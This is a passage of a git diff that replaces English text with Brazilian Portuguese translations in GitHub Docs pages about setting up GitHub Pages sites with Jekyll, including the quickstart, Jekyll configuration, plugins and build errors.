+- "[Solucionar problemas de erros de criação do Jekyll para sites do {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)"
diff --git a/translations/pt-BR/content/pages/index.md b/translations/pt-BR/content/pages/index.md
index ac99f2500e..e86305bfd9 100644
--- a/translations/pt-BR/content/pages/index.md
+++ b/translations/pt-BR/content/pages/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Pages Documentation
+title: Documentação do GitHub Pages
 shortTitle: GitHub Pages
-intro: 'You can create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
+intro: 'Você pode criar um site diretamente de um repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.'
 redirect_from:
   - /categories/20/articles
   - /categories/95/articles
@@ -24,3 +24,4 @@ children:
   - /setting-up-a-github-pages-site-with-jekyll
   - /configuring-a-custom-domain-for-your-github-pages-site
 ---
+
diff --git a/translations/pt-BR/content/pages/quickstart.md b/translations/pt-BR/content/pages/quickstart.md
index e9a326194c..c558e103f0 100644
--- a/translations/pt-BR/content/pages/quickstart.md
+++ b/translations/pt-BR/content/pages/quickstart.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart for GitHub Pages
-intro: 'You can use {% data variables.product.prodname_pages %} to showcase some open source projects, host a blog, or even share your résumé. This guide will help get you started on creating your next website.'
+title: Início rápido para o GitHub Pages
+intro: 'Você pode usar {% data variables.product.prodname_pages %} para exibir alguns projetos de código aberto, hospedar um blogue ou até mesmo compartilhar seu currículo. Este guia ajudará você a começar a criar o seu próximo site.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -10,40 +10,36 @@ versions:
 type: quick_start
 topics:
   - Pages
-shortTitle: Quickstart
+shortTitle: QuickStart
 product: '{% data reusables.gated-features.pages %}'
 ---
 
-## Introduction
+## Introdução
 
-{% data variables.product.prodname_pages %} are public webpages hosted and published through {% data variables.product.product_name %}. The quickest way to get up and running is by using the Jekyll Theme Chooser to load a pre-made theme. You can then modify your {% data variables.product.prodname_pages %}' content and style.
+{% data variables.product.prodname_pages %} são sites públicos hospedados e publicados por meio de {% data variables.product.product_name %}. A maneira mais rápida de colocar em funcionamento é usar o seletor de temas Jekyll para carregar um tema pré-criado. Em seguida, você pode modificar o seu estilo e conteúdo de {% data variables.product.prodname_pages %}.
 
-This guide will lead you through creating a user site at `username.github.io`.
+Este guia irá orientar você com relação à criação de um site em `username.github.io`.
 
-## Creating your website
+## Criando seu site
 
 {% data reusables.repositories.create_new %}
-1. Enter `username.github.io` as the repository name. Replace `username` with your {% data variables.product.prodname_dotcom %} username. For example, if your username is `octocat`, the repository name should be `octocat.github.io`.
-   ![Repository name field](/assets/images/help/pages/create-repository-name-pages.png)
+1. Digite `username.github.io` como nome do repositório. Substitua `nome de usuário` pelo seu nome de usuário de {% data variables.product.prodname_dotcom %}. Por exemplo, se seu nome de usuário for `octocat`, o nome do repositório deverá ser `octocat.github.io`. ![Campo nome do repositório](/assets/images/help/pages/create-repository-name-pages.png)
 {% data reusables.repositories.sidebar-settings %}
-1. In the left sidebar, click **Pages**.
-   ![Page tab in the left-hand sidebar](/assets/images/help/pages/pages-tab.png)
-1. Click **Choose a theme**.
-   ![Choose a theme button](/assets/images/help/pages/choose-theme.png)
-1. The Theme Chooser will open. Browse the available themes, then click **Select theme** to select a theme. It's easy to change your theme later, so if you're not sure, just choose one for now.
-   ![Theme options and Select theme button](/assets/images/help/pages/select-theme.png)
-1. After you select a theme, your repository's `README.md` file will open in the file editor. The `README.md` file is where you will write the content for your site. You can edit the file or keep the default content for now.
-1. When you are done editing the file, click **Commit changes**.
-1. Visit `username.github.io` to view your new website. **Note:** It can take up to 20 minutes for changes to your site to publish after you push the changes to {% data variables.product.product_name %}.
+1. Na barra lateral esquerda, clique em **Pages** (Páginas). ![Aba de páginas na barra lateral esquerda](/assets/images/help/pages/pages-tab.png)
+1. Clique **Escolher um tema**. ![Botão Choose a theme (Escolher um tema)](/assets/images/help/pages/choose-theme.png)
+1. O seletor de temas será aberto. Pesquise os temas disponíveis e, em seguida, clique em **Selecionar tema** para selecionar um tema. É fácil mudar seu tema mais tarde. Portanto, se você não tiver certeza, basta escolher um por enquanto. ![Opções de tema e botão Select theme (Selecionar tema)](/assets/images/help/pages/select-theme.png)
+1. Depois de selecionar um tema, o arquivo `README.md` do repositório será aberto no editor do arquivo. O arquivo `README.md` é onde você escreverá o conteúdo do seu site. Você pode editar o arquivo ou manter o conteúdo padrão por enquanto.
+1. Ao terminar de editar o arquivo, clique em **Aplicar as alterações**.
+1. Acesse `username.github.io` para ver seu novo site. **Observação:** podem ser necessários até 20 minutos para que as alterações no site sejam publicadas após o push delas no {% data variables.product.product_name %}.
 
-## Changing the title and description
+## Alterando o título e a descrição
 
-By default, the title of your site is `username.github.io`. You can change the title by editing the `_config.yml` file in your repository. You can also add a description for your site.
+Por padrão, o título do seu site é `username.github.io`. Você pode alterar o título editando o arquivo `_config.yml` no seu repositório. Você também pode adicionar uma descrição para o seu site.
 
-1. Click the **Code** tab of your repository.
-1. In the file list, click `_config.yml` to open the file.
-1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the file.
-1. The `_config.yml` file already contains a line that specifies the theme for your site. Add a new line with `title:` followed by the title you want. Add a new line with `description:` followed by the description you want. For example:
+1. Clique na aba **Código** do seu repositório.
+1. Na lista de arquivos, clique em `_config.yml` para abrir o arquivo.
+1. Clique em {% octicon "pencil" aria-label="The edit icon" %} para editar o arquivo.
+1. O arquivo `_config.yml` já contém uma linha que especifica o tema para o seu site. Adicione uma nova linha com `title:` seguido do título que você deseja. Adicione uma nova linha com `description:` seguida da descrição que você deseja. Por exemplo:
 
    ```yaml
    theme: jekyll-theme-minimal
@@ -51,10 +47,10 @@ By default, the title of your site is `username.github.io`. You can change the t
    description: Bookmark this to keep an eye on my project updates!
    ```
 
-1. When you are done editing the file, click **Commit changes**.
+1. Ao terminar de editar o arquivo, clique em **Aplicar as alterações**.
 
-## Next Steps
+## Próximos passos
 
-For more information about how to add additional pages to your site, see "[Adding content to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll#about-content-in-jekyll-sites)."
+Para obter mais informações sobre como adicionar páginas adicionais ao seu site, consulte "[Adicionando conteúdo ao site do GitHub Pages usando o Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll#about-content-in-jekyll-sites)".
 
-For more information about setting up a {% data variables.product.prodname_pages %} site with Jekyll, see "[About GitHub Pages and Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll)."
+Para obter mais informações sobre como configurar um site do {% data variables.product.prodname_pages %} com o Jekyll, consulte "[Sobre o GitHub Pages e o Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll)".
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
index 8df4d200f5..0437903467 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Pages and Jekyll
-intro: 'Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %}.'
+title: Sobre o GitHub Pages e Jekyll
+intro: 'Jekyll é um gerador de site estático com suporte integrado para {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/about-jekyll-themes-on-github
   - /articles/configuring-jekyll
@@ -29,19 +29,19 @@ topics:
 shortTitle: GitHub Pages & Jekyll
 ---
 
-## About Jekyll
+## Sobre o Jekyll
 
-Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. Jekyll takes Markdown and HTML files and creates a complete static website based on your choice of layouts. Jekyll supports Markdown and Liquid, a templating language that loads dynamic content on your site. For more information, see [Jekyll](https://jekyllrb.com/).
+O Jekyll é um gerador de site estático com suporte integrado para {% data variables.product.prodname_pages %} e um processo de compilação simplificado. O Jekyll usa arquivos Markdown e HTML, além de criar um site estático completo com base na sua escolha de layouts. O Jekyll aceita Markdown e Liquid, uma linguagem de modelagem que carrega conteúdo dinâmico no site. Para obter mais informações, consulte [Jekyll](https://jekyllrb.com/).
 
-Jekyll is not officially supported for Windows. For more information, see "[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)" in the Jekyll documentation.
+O Jekyll não é oficialmente compatível com o Windows. Para obter mais informações, consulte "[Jekyll no Windows](http://jekyllrb.com/docs/windows/#installation)" na documentação do Jekyll.
 
-We recommend using Jekyll with {% data variables.product.prodname_pages %}. If you prefer, you can use other static site generators or customize your own build process locally or on another server. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)."
+É recomendável usar o Jekyll com o {% data variables.product.prodname_pages %}. Se preferir, você pode usar outros geradores de site estáticos ou personalizar seu próprio processo de compilação localmente ou em outro servidor. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)".
 
-## Configuring Jekyll in your {% data variables.product.prodname_pages %} site
+## Configurar o Jekyll em seu site do {% data variables.product.prodname_pages %}
 
-You can configure most Jekyll settings, such as your site's theme and plugins, by editing your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation.
+É possível configurar a maioria das definições do Jekyll, como o tema e os plugins do seu site, editando o arquivo *_config.yml*. Para obter mais informações, consulte "[Configuração](https://jekyllrb.com/docs/configuration/)" na documentação do Jekyll.
 
-Some configuration settings cannot be changed for {% data variables.product.prodname_pages %} sites.
+Algumas definições de configuração não podem ser alteradas para sites do {% data variables.product.prodname_pages %}.
 
 ```yaml
 lsi: false
@@ -56,36 +56,36 @@ kramdown:
   syntax_highlighter: rouge
 ```
 
-By default, Jekyll doesn't build files or folders that:
-- are located in a folder called `/node_modules` or `/vendor`
-- start with `_`, `.`, or `#`
-- end with `~`
-- are excluded by the `exclude` setting in your configuration file
+Por padrão, o Jekyll não cria arquivos nem pastas que:
+- estão localizadas em uma pasta chamada `/node_modules` ou `/vendor`
+- comece com `_`, `.` ou `#`
+- terminam com `~`
+- são excluídos pela configuração `exclude` em seu arquivo de configuração
 
-If you want Jekyll to process any of these files, you can use the `include` setting in your configuration file.
+Se quiser que o Jekyll processe algum desses arquivos, você poderá usar a configuração `includes` no seu arquivo de configuração.
 
-## Front matter
+## Material inicial
 
 {% data reusables.pages.about-front-matter %}
 
-You can add `site.github` to a post or page to add any repository references metadata to your site. For more information, see "[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)" in the Jekyll Metadata documentation.
+Você pode adicionar `site.github` a uma publicação ou página para incluir metadados de referências de repositório ao seu site. Para obter mais informações, consulte "[Usar `site.github`](https://jekyll.github.io/github-metadata/site.github/)" na documentação de metadados do Jekyll.
 
-## Themes
+## Temas
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Themes](https://jekyllrb.com/docs/themes/)" in the Jekyll documentation.
+{% data reusables.pages.add-jekyll-theme %} Para obter mais informações, consulte "[Temas](https://jekyllrb.com/docs/themes/)" na documentação do Jekyll.
 
 {% ifversion fpt or ghec %}
-You can add a supported theme to your site on {% data variables.product.prodname_dotcom %}. For more information, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and "[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)."
+É possível adicionar um tema compatível ao seu site no {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Temas compatíveis](https://pages.github.com/themes/)" no site do {% data variables.product.prodname_pages %} e "[Adicionar um tema ao seu site do {% data variables.product.prodname_pages %} com o seletor de temas](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)".
 
-To use any other open source Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, you can add the theme manually.{% else %} You can add a theme to your site manually.{% endif %} For more information, see{% ifversion fpt or ghec %} [themes hosted on {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) and{% else %} "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and{% endif %} "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+Para usar qualquer tema de código aberto do Jekyll hospedado em {% data variables.product.prodname_dotcom %}, você pode adicionar o tema manualmente.{% else %} Você pode adicionar um tema ao seu site manualmente.{% endif %} Para obter mais informações, consulte {% ifversion fpt or ghec %} [temas hospedados em {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) e{% else %} "[Temas compatíveisthemes](https://pages.github.com/themes/)" no site de {% data variables.product.prodname_pages %} e {% endif %} "[Adicionar um tema ao seu site do {% data variables.product.prodname_pages %} usando o Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
 
-You can override any of your theme's defaults by editing the theme's files. For more information, see your theme's documentation and "[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" in the Jekyll documentation.
+Você pode substituir qualquer um dos padrões do seu tema editando os arquivos do tema. Para obter mais informações, consulte a documentação do seu tema e "[Substituir padrões do tema](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" na documentação do Jekyll.
 
 ## Plugins
 
-You can download or create Jekyll plugins to extend the functionality of Jekyll for your site. For example, the [jemoji](https://github.com/jekyll/jemoji) plugin lets you use {% data variables.product.prodname_dotcom %}-flavored emoji in any page on your site the same way you would on {% data variables.product.prodname_dotcom %}. For more information, see "[Plugins](https://jekyllrb.com/docs/plugins/)" in the Jekyll documentation.
+Você pode baixar ou criar plugins do Jekyll para ampliar a funcionalidade do Jekyll em seu site. Por exemplo, o plugin [jemoji](https://github.com/jekyll/jemoji) permite usar emoji em estilo do {% data variables.product.prodname_dotcom %} em qualquer página do seu site da mesma forma que você faria no {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Plugins](https://jekyllrb.com/docs/plugins/)" na documentação do Jekyll.
 
-{% data variables.product.prodname_pages %} uses plugins that are enabled by default and cannot be disabled:
+O {% data variables.product.prodname_pages %} usa plugins que são habilitados por padrão e não podem ser desabilitados:
 - [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript)
 - [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout)
 - [`jekyll-gist`](https://github.com/jekyll/jekyll-gist)
@@ -96,25 +96,25 @@ You can download or create Jekyll plugins to extend the functionality of Jekyll
 - [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings)
 - [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links)
 
-You can enable additional plugins by adding the plugin's gem to the `plugins` setting in your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. 
+Você pode habilitar plugins adicionais incluindo a gem do plugin à configuração `plugins` em seu arquivo *_config.yml*. Para obter mais informações, consulte "[Configuração](https://jekyllrb.com/docs/configuration/)" na documentação do Jekyll.
 
-For a list of supported plugins, see "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site.  For usage information for a specific plugin, see the plugin's documentation.
+Para obter uma lista de plugins compatíveis, consulte "[Versões de dependência](https://pages.github.com/versions/)" no site do {% data variables.product.prodname_pages %}.  Para obter informações de uso para um plugin específico, consulte a documentação do plugin.
 
 {% tip %}
 
-**Tip:** You can make sure you're using the latest version of all plugins by keeping the {% data variables.product.prodname_pages %} gem updated. For more information, see "[Testing your GitHub Pages site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" and "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site.
+**Dica:** você pode ter certeza de que está usando a versão mais recente de todos os plugins mantendo o gem do {% data variables.product.prodname_pages %} atualizado. Para obter mais informações, consulte "[Testar o site do GitHub Pages localmente com o Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" e "[Versões de dependência](https://pages.github.com/versions/)" no site do {% data variables.product.prodname_pages %}.
 
 {% endtip %}
 
-{% data variables.product.prodname_pages %} cannot build sites using unsupported plugins. If you want to use unsupported plugins, generate your site locally and then push your site's static files to {% data variables.product.product_name %}.
+O {% data variables.product.prodname_pages %} não pode criar sites usando plugins incompatíveis. Se quiser usar plugins incompatíveis, gere seu site localmente e faça push dos arquivos estáticos do site no {% data variables.product.product_name %}.
 
-## Syntax highlighting
+## Realce de sintaxe
 
-To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.product_name %}. For more information about syntax highlighting on {% data variables.product.product_name %}, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+Para facilitar a leitura do seu site, trechos de código são destacados nos sites do {% data variables.product.prodname_pages %} da mesma maneira que são destacados no {% data variables.product.product_name %}. Para mais informações sobre destaque de sintaxe em {% data variables.product.product_name %}, consulte "[Criar e realçar blocos de código](/articles/creating-and-highlighting-code-blocks)".
 
-By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). If you specify Pygments in your *_config.yml* file, Rouge will be used instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
+Por padrão, blocos de código no seu site serão destacados pelo Jekyll. O Jekyll usa o realçador [Rouge](https://github.com/jneen/rouge), que é compatível com [Pygments](http://pygments.org/). Se você especificar Pygments no arquivo *_config.yml*, Rouge será usado no lugar. O Jekyll não pode usar qualquer outro realçador de sintaxe, e você receberá um aviso de criação de página se especificar outro realçador de sintaxe no arquivo *_config.yml*. Para obter mais informações, consulte "[Sobre erros de criação do Jekyll para sites do {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites)".
 
-If you want to use another highlighter, such as `highlight.js`, you must disable Jekyll's syntax highlighting by updating your project's *_config.yml* file.
+Se quiser usar outro realçador, como `highlight.js`, você deverá desabilitar o realce da sintaxe do Jekyll atualizando o arquivo *_config.yml* do projeto.
 
 ```yaml
 kramdown:
@@ -122,12 +122,12 @@ kramdown:
     disable : true
 ```
 
-If your theme doesn't include CSS for syntax highlighting, you can generate {% data variables.product.prodname_dotcom %}'s syntax highlighting CSS and add it to your project's `style.css` file.
+Se o seu tema não incluir CSS para realce da sintaxe, você poderá gerar CSS de realce de sintaxe do {% data variables.product.prodname_dotcom %} e adicioná-lo ao arquivo `style.css` do projeto.
 
 ```shell
 $ rougify style github > style.css
 ```
 
-## Building your site locally
+## Criar site localmente
 
 {% data reusables.pages.test-locally %}
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
index c5b53d6108..a8ad4bf7ea 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md
@@ -1,6 +1,6 @@
 ---
-title: About Jekyll build errors for GitHub Pages sites
-intro: 'If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you''ll receive an error message with more information.'
+title: Sobre erros de criação do Jekyll para sites do GitHub Pages
+intro: 'Se o Jekyll encontrar um erro ao criar seu site do {% data variables.product.prodname_pages %} localmente ou no {% data variables.product.product_name %}, você receberá uma mensagem de erro com mais informações.'
 redirect_from:
   - /articles/viewing-jekyll-build-error-messages
   - /articles/generic-jekyll-build-failures
@@ -14,32 +14,32 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Jekyll build errors for Pages
+shortTitle: Erros de criação do Jekyll para as páginas
 ---
 
-## About Jekyll build errors
+## Sobre erros de criação do Jekyll
 
-Sometimes, {% data variables.product.prodname_pages %} will not attempt to build your site after you push changes to your site's publishing source.{% ifversion fpt or ghec %}
-- The person who pushed the changes hasn't verified their email address. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %}
-- You're pushing with a deploy key. If you want to automate pushes to your site's repository, you can set up a machine user instead. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#machine-users)."
-- You're using a CI service that isn't configured to build your publishing source. For example, Travis CI won't build the `gh-pages` branch unless you add the branch to a safe list. For more information, see "[Customizing the build](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches)" on Travis CI, or your CI service's documentation.
+Às vezes, o {% data variables.product.prodname_pages %} não tentará criar seu site depois que você fizer push das alterações na fonte de publicação do site.{% ifversion fpt or ghec %}
+- A pessoa que fez push das alterações não verificou o endereço de e-mail dela. Para obter mais informações, consulte "[Verificar o endereço de e-mail](/articles/verifying-your-email-address)".{% endif %}
+- Você está fazendo push com uma chave de implantação. Se desejar automatizar pushes para o repositório do seu site, você poderá configurar um usuário de máquina. Para obter mais informações, consulte "[Gerenciar chaves de implantação](/developers/overview/managing-deploy-keys#machine-users)".
+- Você está usando um serviço de CI que não está configurado para criar sua fonte de publicação. Por exemplo, Travis CI não criará o branch `gh-pages`, a menos que você adicione o branch a uma lista segura. Para obter mais informações, consulte "[Personalizar a criação](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches)" em Travis CI ou na documentação do seu serviço de CI.
 
 {% note %}
 
-**Note:** It can take up to 20 minutes for changes to your site to publish after you push the changes to {% data variables.product.product_name %}.
+**Observação:** podem ser necessários até 20 minutos para que as alterações no site sejam publicadas após o push delas no {% data variables.product.product_name %}.
 
 {% endnote %}
 
-If Jekyll does attempt to build your site and encounters an error, you will receive a build error message. There are two main types of Jekyll build error messages.
-- A "Page build warning" message means your build completed successfully, but you may need to make changes to prevent future problems.
-- A "Page build failed" message means your build failed to complete. If Jekyll is able to detect a reason for the failure, you'll see a descriptive error message.
+Se o Jekyll não tentar criar seu site e encontrar um erro, você receberá uma mensagem de erro de criação. Existem dois tipos principais de mensagens de erro de compilação do Jekyll.
+- Uma mensagem "Page build warning" significa que sua criação foi concluída com êxito, mas talvez você precise fazer alterações para evitar problemas futuros.
+- Uma mensagem "Page build failed" significa que sua criação falhou ao ser concluída. Se for possível para o Jekyll detectar um motivo para a falha, você verá uma mensagem de erro descritiva.
 
-For more information about troubleshooting build errors, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)."
+Para obter informações sobre como solucionar problemas de erros de criação, consulte [Solução de problemas de erros de criação do Jekyll para sites do {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)".
 
-{% ifversion fpt %} 
-## Viewing Jekyll build error messages with {% data variables.product.prodname_actions %}
+{% ifversion fpt %}
+## Visualizando as mensagens de erro de criação do Jekyll com {% data variables.product.prodname_actions %}
 
-By default, your {% data variables.product.prodname_pages %} site is built and deployed with a {% data variables.product.prodname_actions %} workflow run unless you've configured your {% data variables.product.prodname_pages %} site to use a different CI tool. To find potential build errors, you can check the workflow run for your {% data variables.product.prodname_pages %} site by reviewing your repository's workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."  For more information about how to re-run the workflow in case of an error, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)."
+Por padrão, seu site de {% data variables.product.prodname_pages %} foi criado e implantado com a execução de um fluxo de trabalho de {% data variables.product.prodname_actions %}, a menos que você tenha configurado seu site do {% data variables.product.prodname_pages %} para usar uma ferramenta de CI diferente. Para encontrar possíveis erros de criação, verifique a execução do fluxo de trabalho para o seu site do {% data variables.product.prodname_pages %}, revisando a execução do fluxo de trabalho do seu repositório. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)".  Para obter mais informações sobre como executar novamente o fluxo de trabalho em caso de erro, consulte "[Executar novamente fluxos de trabalho e trabalhos](/actions/managing-workflow-runs/re-running-workflows-and-jobs)".
 {% note %}
 
 {% data reusables.pages.pages-builds-with-github-actions-public-beta %}
@@ -47,37 +47,37 @@ By default, your {% data variables.product.prodname_pages %} site is built and d
 {% endnote %}
 {% endif %}
 
-## Viewing your repository's build failures on {% data variables.product.product_name %}
+## Visualizando as falhas de criação de seu repositório em {% data variables.product.product_name %}
 
-You can see build failures (but not build warnings) for your site on {% data variables.product.product_name %} in the **Settings** tab of your site's repository.
+É possível ver falhas de criação (mas não os avisos de criação) para seu site no {% data variables.product.product_name %}, na guia **Settings** (Configurações) do repositório do site.
 
-## Viewing Jekyll build error messages locally
+## Visualizando as mensagens de erro de criação do Jekyll localmente
 
-We recommend testing your site locally, which allows you to see build error messages on the command line, and addressing any build failures before pushing changes to {% data variables.product.product_name %}. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
+É recomendável testar o site no local, o que permite ver mensagens de erro de criação na linha de comando e solucionar qualquer falha de criação antes de fazer push das alterações no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Testar seu site do {% data variables.product.prodname_pages %} localmente com o Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)".
 
-## Viewing Jekyll build error messages in your pull request
+## Visualizando mensagens de erro de criação do Jekyll no seu pull request
 
-When you create a pull request to update your publishing source on {% data variables.product.product_name %}, you can see build error messages on the **Checks** tab of the pull request. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
+Quando você cria uma pull request para atualizar a fonte de publicação no {% data variables.product.product_name %}, é possível ver mensagens de erro de criação na guia **Checks** (Verificações) da pull request. Para obter mais informações, consulte "[Sobre verificações de status](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)".
 
-## Viewing Jekyll build errors by email
+## Visualizando os erros de criação do Jekyll por e-mail
 
-When you push changes to your publishing source on {% data variables.product.product_name %}, {% data variables.product.prodname_pages %} will attempt to build your site. If the build fails, you'll receive an email at your primary email address. You'll also receive emails for build warnings. {% data reusables.pages.build-failure-email-server %}
+Quando você fizer push das alterações na fonte de publicação no {% data variables.product.product_name %}, o {% data variables.product.prodname_pages %} tentará criar seu site. Se a criação falhar, você receberá um e-mail no seu endereço de e-mail principal. Você também receberá e-mails para avisos de criação. {% data reusables.pages.build-failure-email-server %}
 
-## Viewing Jekyll build error messages in your pull request with a third-party CI service
+## Visualizando as mensagens de erro do Jekyll no seu pull request com um serviço de CI de terceiros
 
-You can configure a third-party service, such as [Travis CI](https://travis-ci.org/), to display error messages after each commit.
+Você pode configurar um serviço de terceiros, como o [Travis CI](https://travis-ci.org/), para exibir mensagens de erro após cada commit.
 
-1. If you haven't already, add a file called _Gemfile_ in the root of your publishing source, with the following content:
+1. Se você ainda não tiver, adicione um arquivo chamado _Gemfile_ na raiz da sua fonte de publicação, com o seguinte conteúdo:
   ```ruby
   source `https://rubygems.org`
   gem `github-pages`
   ```
 
-2. Configure your site's repository for the testing service of your choice. For example, to use [Travis CI](https://travis-ci.org/), add a file named _.travis.yml_ in the root of your publishing source, with the following content:
+2. Configure o repositório do site para o serviço de teste de sua escolha. Por exemplo, para usar [Travis CI](https://travis-ci.org/), adicione um arquivo chamado _.travis.yml_ na raiz da fonte de publicação, com o seguinte conteúdo:
   ```yaml
   language: ruby
   rvm:
     - 2.3
   script: "bundle exec jekyll build"
   ```
-3. You may need to activate your repository with the third-party testing service. For more information, see your testing service's documentation.
+3. Talvez você precise ativar o repositório com o serviço de teste de terceiros. Para obter mais informações, consulte a documentação do seu serviço de teste.
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
index e93f69bfd4..581819013f 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a theme to your GitHub Pages site using Jekyll
-intro: You can personalize your Jekyll site by adding and customizing a theme.
+title: Adicionar um tema ao site do GitHub Pages usando Jekyll
+intro: É possível personalizar o site do Jekyll adicionando e personalizando um tema.
 redirect_from:
   - /articles/customizing-css-and-html-in-your-jekyll-theme
   - /articles/adding-a-jekyll-theme-to-your-github-pages-site
@@ -14,30 +14,28 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Add theme to Pages site
+shortTitle: Adicionar tema ao site de Páginas
 ---
 
-People with write permissions for a repository can add a theme to a {% data variables.product.prodname_pages %} site using Jekyll.
+Pessoas com permissões de gravação para um repositório podem adicionar um tema a um site do {% data variables.product.prodname_pages %} usando Jekyll.
 
